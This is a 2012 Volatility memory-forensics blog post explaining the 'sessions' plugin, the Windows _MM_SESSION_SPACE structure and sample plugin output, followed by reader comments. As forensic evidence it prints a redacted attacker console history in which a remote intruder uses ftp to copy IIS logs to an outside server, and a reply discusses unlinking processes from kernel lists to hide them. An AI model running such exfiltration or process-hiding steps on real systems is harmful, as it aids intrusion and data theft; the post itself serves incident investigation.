Monday, September 10, 2012

MoVP 1.1 Logon Sessions, Processes, and Images

Month of Volatility Plugins 

Attackers like to log on. They specifically like logging on remotely with RDP. Whenever these actions occur, the Windows kernel creates a new session, which is basically a container for processes and objects (like window stations and desktops) that belong to the session. Analyzing these session structures can yield high forensic value, thus the MoVP 1.1 plugin is sessions - a plugin to report on active (and in some cases, terminated) logon sessions from Windows based memory dumps, including their associated processes, kernel modules, pool, and page tables. 

Here are some ways you might use this plugin:
  • Link processes to their logon sessions: you see abc.exe running and you want to know if it was launched by someone over RDP or by the user physically sitting at the console. 
  • Detect hidden processes: each session structure contains a linked list of processes for that session. If malware unlinks a process from PsActiveProcessHead, you can leverage this alternate process listing as a means to identify the hidden process. 
  • Determine kernel drivers: each session structure contains a list of drivers mapped into the session. You can use this to distinguish RDP sessions from console or fast-user switching sessions and also for miscellaneous tasks like determining if the system is a VMware virtual machine. 
Data Structures


The main structure for a session is _MM_SESSION_SPACE.  This is a large structure, so only small portion of it is shown below (from Windows 7 x64).   

>>> dt("_MM_SESSION_SPACE")
'_MM_SESSION_SPACE' (8064 bytes)
0x0   : ReferenceCount                 ['long']
0x4   : u                              ['__unnamed_2145']
0x8   : SessionId                      ['unsigned long']
0xc   : ProcessReferenceToSession      ['long']
0x10  : ProcessList                    ['_LIST_ENTRY']
0x20  : LastProcessSwappedOutTime      ['_LARGE_INTEGER']
0x28  : SessionPageDirectoryIndex      ['unsigned long long']
0x30  : NonPagablePages                ['unsigned long long']
0x38  : CommittedPages                 ['unsigned long long']
0x40  : PagedPoolStart                 ['pointer64', ['void']]
0x48  : PagedPoolEnd                   ['pointer64', ['void']]
0x50  : SessionObject                  ['pointer64', ['void']]
0x58  : SessionObjectHandle            ['pointer64', ['void']]
0x64  : SessionPoolAllocationFailures  ['array', 4, ['unsigned long']]
0x78  : ImageList                      ['_LIST_ENTRY']
0x88  : LocaleId                       ['unsigned long']
0x8c  : AttachCount                    ['unsigned long']
0x90  : AttachGate                     ['_KGATE']
0xa8  : WsListEntry                    ['_LIST_ENTRY']
0xc0  : Lookaside                      ['array', 21, ['_GENERAL_LOOKASIDE']]
0xb40 : Session                        ['_MMSESSION']
0xb98 : PagedPoolInfo                  ['_MM_PAGED_POOL_INFO']
0xc00 : Vm                             ['_MMSUPPORT']
0xc88 : Wsle                           ['pointer64', ['_MMWSLE']]
0xc90 : DriverUnload                   ['pointer64', ['void']]
0xcc0 : PagedPool                      ['_POOL_DESCRIPTOR']
0x1e00: PageDirectory                  ['_MMPTE']
0x1e08: SessionVaLock                  ['_KGUARDED_MUTEX']
0x1e40: DynamicVaBitMap                ['_RTL_BITMAP']
0x1e50: DynamicVaHint                  ['unsigned long']
0x1e58: SpecialPool                    ['_MI_SPECIAL_POOL']
0x1ea0: SessionPteLock                 ['_KGUARDED_MUTEX']
0x1ed8: PoolBigEntriesInUse            ['long']
0x1edc: PagedPoolPdeCount              ['unsigned long']
0x1ee0: SpecialPoolPdeCount            ['unsigned long']
0x1ee4: DynamicSessionPdeCount         ['unsigned long']
0x1ee8: SystemPteInfo                  ['_MI_SYSTEM_PTE_TYPE']
0x1f30: PoolTrackTableExpansion        ['pointer64', ['void']]
0x1f38: PoolTrackTableExpansionSize    ['unsigned long long']
0x1f40: PoolTrackBigPages              ['pointer64', ['void']]
0x1f48: PoolTrackBigPagesSize          ['unsigned long long']
[snip]

Key Points
  • Each session has its own working set list, look-aside list, paged pool, page directory, and big page pool tracker tables.
  • The SessionId uniquely identifies the session. On XP and Server 2003 there is a single session (session 0) shared by system services and user applications.  Starting with Vista, Microsoft introduced “session 0 isolation” to prevent shatter attacks, after which time session 0 is only for system services. 
  • Each process belongs to exactly one session, with exception of the System process and smss.exe. During process initialization, the _EPROCESS.Session member is updated to point at the _MM_SESSION_SPACE. Likewise, the _MM_SESSION_SPACE.ProcessList is updated with a link to the new _EPROCESS. A process stays in this list until it terminates or otherwise calls MiUnlinkProcessFromSession. The ProcessList member can be used as an alternate process listing for processes that hide via conventional DKOM unlinking from PsActiveProcessHead.
  • The ImageList member is a list of _IMAGE_ENTRY_IN_SESSION structures – one for each device driver mapped into the session space.  If there are two sessions, then there are two copies of win32k.sys. Thus forensic tools that wish to analyze the win32k.sys driver must extract it once for each session. 
The Sessions Plugin


By locating all _EPROCESS structures (via list walking or object scanning) and looking at the unique _EPROCESS.Session pointers, we can gather a complete list of _MM_SESSION_SPACE structures. Those structures are then parsed by the plugin. As you can see below, the target Windows 7 x64 system has 20 system and service processes in session 0 and 17 user processes in session 1.

$ python vol.py -f win7x64.dd --profile=Win7SP1x64 sessions
Volatile Systems Volatility Framework 2.1_alpha
**************************************************
Session(V): fffff88002ec7000 ID: 0 Processes: 20
PagedPoolStart: fffff900c0000000 PagedPoolEnd fffff920bfffffff
 Process: 316 csrss.exe 2011-12-30 08:25:45 
 Process: 352 wininit.exe 2011-12-30 08:25:54 
 Process: 448 services.exe 2011-12-30 08:25:57 
 Process: 464 lsass.exe 2011-12-30 08:25:57 
 Process: 472 lsm.exe 2011-12-30 08:25:57 
 Process: 564 svchost.exe 2011-12-30 08:26:00 
 Process: 632 svchost.exe 2011-12-30 08:26:01 
 Process: 824 sppsvc.exe 2011-12-30 08:26:14 
 Process: 868 svchost.exe 2011-12-30 08:26:15 
 Process: 892 svchost.exe 2011-12-30 08:26:15 
 Process: 928 svchost.exe 2011-12-30 08:26:15 
 Process: 268 svchost.exe 2011-12-30 08:27:04 
 Process: 296 svchost.exe 2011-12-30 08:27:04 
 Process: 1144 spoolsv.exe 2011-12-30 08:27:08 
 Process: 1176 svchost.exe 2011-12-30 08:27:08 
 Process: 1868 svchost.exe 2011-12-30 07:29:10 
 Process: 2016 svchost.exe 2011-12-30 07:29:13 
 Process: 1240 SearchIndexer. 2011-12-30 07:29:13 
 Process: 1904 svchost.exe 2012-01-19 14:27:08 
 Process: 2284 f-response-ent 2012-03-14 16:45:57 
 Image: 0xfffffa800284b860, Address fffff96000080000, Name: win32k.sys
 Image: 0xfffffa800234d200, Address fffff960004e0000, Name: dxg.sys
 Image: 0xfffffa80028178a0, Address fffff960007d0000, Name: TSDDD.dll
**************************************************
Session(V): fffff88002ef0000 ID: 1 Processes: 17
PagedPoolStart: fffff900c0000000 PagedPoolEnd fffff920bfffffff
 Process: 360 csrss.exe 2011-12-30 08:25:54 
 Process: 388 winlogon.exe 2011-12-30 08:25:55 
 Process: 808 taskhost.exe 2011-12-30 07:29:34 
 Process: 764 dwm.exe 2011-12-30 07:29:34 
 Process: 880 explorer.exe 2011-12-30 07:29:34 
 Process: 1628 regsvr32.exe 2011-12-30 07:29:38 
 Process: 2328 iexplore.exe 2012-01-10 18:36:48 
 Process: 2552 iexplore.exe 2012-01-10 18:38:18 
 Process: 1220 notepad++.exe 2012-01-19 16:10:13 
 Process: 2336 cmd.exe 2012-01-20 17:54:37 
 Process: 2476 conhost.exe 2012-01-20 17:54:37 
 Process: 1632 livekd.exe 2012-01-20 17:54:47 
 Process: 1324 livekd64.exe 2012-01-20 17:54:47 
 Process: 1700 windbg.exe 2012-01-20 17:54:47 
 Process: 2068 cmd.exe 2012-01-20 19:09:29 
 Process: 2348 conhost.exe 2012-01-20 19:09:29 
 Process: 1952 hh.exe 2012-01-24 15:57:27 
 Image: 0xfffffa80018bd630, Address fffff96000080000, Name: win32k.sys
 Image: 0xfffffa800236d550, Address fffff960004e0000, Name: dxg.sys
 Image: 0xfffffa8003807b10, Address fffff96000820000, Name: framebuf.dll

Both sessions have win32k.sys and dxg.sys (DirectX Driver) and either TSDDD.dll or framebuf.dll (Frame Buffer Drivers) loaded. You can easily identify VMware systems this way, because vmx_fb.dll, the VMware Display Driver will be in the image list. 

Similarly, as shown below for the Windows 2003 x86 system, you can determine if a user is logged in via RDP because the RDPDD.dll driver will be loaded (plus rdpclip.exe is running in the session).  Now you know that mbamgui.exe, cmd.exe, and notepad.exe (among others) were opened/displayed over RDP rather than on the computer’s console. This can be very useful when reconstructing a remote attacker’s actions.

$ python vol.py -f rdp.mem --profile=Win2003SP2x86 sessions
[snip]
**************************************************
Session(V): f79ff000 ID: 2 Processes: 10
PagedPoolStart: bc000000 PagedPoolEnd bc3fffff
 Process: 7888 csrss.exe 2012-05-23 02:51:43 
 Process: 3272 winlogon.exe 2012-05-23 02:51:43 
 Process: 6772 rdpclip.exe 2012-05-23 02:52:00 
 Process: 5132 explorer.exe 2012-05-23 02:52:00 
 Process: 5812 PccNTMon.exe 2012-05-23 02:52:01 
 Process: 3552 VMwareTray.exe 2012-05-23 02:52:01 
 Process: 5220 mbamgui.exe 2012-05-23 02:52:02 
 Process: 4576 ctfmon.exe 2012-05-23 02:52:02 
 Process: 5544 cmd.exe 2012-05-23 02:52:09 
 Process: 6236 notepad.exe 2012-05-23 03:20:35 
 Image: 0x8a2fecc0, Address bf800000, Name: win32k.sys
 Image: 0x877d0478, Address bf9d3000, Name: dxg.sys
 Image: 0x8a1bdf38, Address bff60000, Name: RDPDD.dll
 Image: 0x8771a970, Address bfa1e000, Name: ATMFD.DLL

One tip you should remember is that Volatility also can extract command histories and entire screen buffers from physical memory. Per the above, you know cmd.exe was invoked over RDP, but for what purpose? Although the RDP protocol allows file transfers, it may not always be enabled, so typically you’ll see attackers tunneling files to/from their own sites over FTP. An example is shown below. Note: to protect the victim’s identity, many fields are blanked out. 

python vol.py -f rdp.mem --profile=Win2003SP2x86 consoles
**************************************************
ConsoleProcess: csrss.exe Pid: 7888
Console: 0x4c2404 CommandHistorySize: 50
HistoryBufferCount: 4 HistoryBufferMax: 4
OriginalTitle: Command Prompt
Title: Command Prompt
AttachedProcess: cmd.exe Pid: 5544 Handle: 0x25c
----
CommandHistory: 0x4c2c30 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 12 LastAdded: 11 LastDisplayed: 11
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x25c
Cmd #0 at 0x4c1f90: d:
Cmd #1 at 0xf41280: cd inetlogs
Cmd #2 at 0xf412e8: cd xxxxxxxxxx
Cmd #3 at 0xf41340: type xxxxxxxxxx.log | find " xxxxxxxxxx " | find "GET"
Cmd #4 at 0xf41b10: c:
Cmd #5 at 0xf412a0: cd\windows\system32\ xxxxxxxxxx
Cmd #6 at 0xf41b20: ftp xxxxxxxxxx.com
Cmd #7 at 0xf41948: notepad xxxxxxxxxx.log
Cmd #8 at 0x4c2388: notepad xxxxxxxxxx.log
Cmd #9 at 0xf43e70: ftp xxxxxxxxxx.com
Cmd #10 at 0xf43fb0: dir
Cmd #11 at 0xf41550: notepad xxxxxxxxxx.log
----
Screen 0x4c24b4 X:80 Y:3000
Dump:
Microsoft Windows [Version 5.2.3790]                                            
(C) Copyright 1985-2003 Microsoft Corp.                                         
                                                                                
C:\Documents and Settings\ xxxxxxxxxx >d:                               
                                                                                
D:\>cd inetlogs                                                                 
                                                                                
D:\inetlogs>cd xxxxxxxxxx
                                                                                
D:\inetlogs\ xxxxxxxxxx >type xxxxxxxxxx.log | find " xxxxxxxxxx " | find "GET"    
2012-05-23 02:51:19 W3SVC xxxxxxxxxx xxxxxxxxxx GET xxxxxxxxxx
xxxxxxxxxx - 80 - xxxxxxxxxx Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.
1;+Trident/4.0) 200 0 0

[snip]
                            
C:\WINDOWS\system32\ xxxxxxxxxx >ftp xxxxxxxxxx.com                               
Connected to xxxxxxxxxx.com.                                                     
220 Microsoft FTP Service                                                       
User (xxxxxxxxxx.com:(none)): xxxxxxxxxx                                          
331 Password required for xxxxxxxxxx.                                            
Password:                                                                       
230 User xxxxxxxxxx logged in.                                                   
ftp> cd statistics                                                              
250 CWD command successful.                                                     
ftp> cd logs                                                                    
250 CWD command successful.                                                     
ftp> dir                                                                        
200 PORT command successful.                                                    
150 Opening ASCII mode data connection for /bin/ls.                             
05-22-12  09:34AM       <DIR>          W3SV xxxxxxxxxx                               
226 Transfer complete.                                                          
ftp: 51 bytes received in 0.00Seconds 51000.00Kbytes/sec.                       
ftp> cd W3S xxxxxxxxxx                                                             
250 CWD command successful.                                                     
ftp> dir                                                                        
200 PORT command successful.                                                    
150 Opening ASCII mode data connection for /bin/ls.                             
05-22-12  06:59PM             24686680 e xxxxxxxxxx.log                             
05-22-12  07:00PM              3272096 xxxxxxxxxx.log                             
226 Transfer complete.                                                          
ftp: 106 bytes received in 0.06Seconds 1.68Kbytes/sec.                          
ftp> get xxxxxxxxxx.log                                                           
200 PORT command successful.                                                    
150 Opening ASCII mode data connection for xxxxxxxxxx.log(3272096 bytes).         
226 Transfer complete.                                                          
ftp: 3272096 bytes received in 7.47Seconds 438.09Kbytes/sec.                    

Conclusion 

With just a few commands, you can tell that a user logged into the victim system over RDP. He used cmd.exe with process ID 5544 to search for specific IIS log entries, then copied the logs to his FTP site. You can see the FTP server, the attacker’s username and password, and the exact files he was interested in. 

More information on the sessions plugin and its usages in forensic investigations will be presented at Open Memory Forensics Workshop (OMFW) 2012


3 comments:

  1. Excellent witeup, and very informative - as always!

    "The ProcessList member can be used as an alternate process listing for processes that hide via conventional DKOM unlinking from PsActiveProcessHead"

    Does _MM_SESSION_SPACE use the pointers to the process list and included processes, or can we still unlink a process from this list and retain only the forward pointer to _MM_SESSION_SPACE for that process?

    I'd suppose this would still allow you to locate processes unlinked from PsActiveProcessHead but might defeat mechanisms that look specifically for the list from _MM_SESSION_SPACE

    ReplyDelete
    Replies
    1. Yes, _MM_SESSION_SPACE uses the pointers, but not in an OS-critical way. In other words, you can unlink a process from _EPROCESS.SessionProcessLinks without crashing the system. So the key would be to unlink from both ActiveProcessLinks (PsActiveProcessHead) and SessionProcessLinks to hide a little better. However, you'd still get detected by Volatility's psscan command and the various other ways the psxview plugin finds processes. Another alternate process listing in the GUI space is described in MoVP 1.3 (http://volatility-labs.blogspot.com/2012/09/movp-13-desktops-heaps-and-ransomware.html). You can enumerate threads from the tagDESKTOP structures and get the process from the thread. So hiding by unlinking is really useless these days.

      Delete
  2. Thanks - will also read through MoVP 1.3.

    To you and to the rest of the volatility team, I think you've created a fantastic tool for OS deep dives. Between reading the Volatility plugin source code, your excellent book and Windows Internals, there's more than any number of university courses can teach about operating systems. Doesn't hurt at all that volatility provides for excellent forensics too!

    Looking forward to the rest of this series and more from Volatility!

    ReplyDelete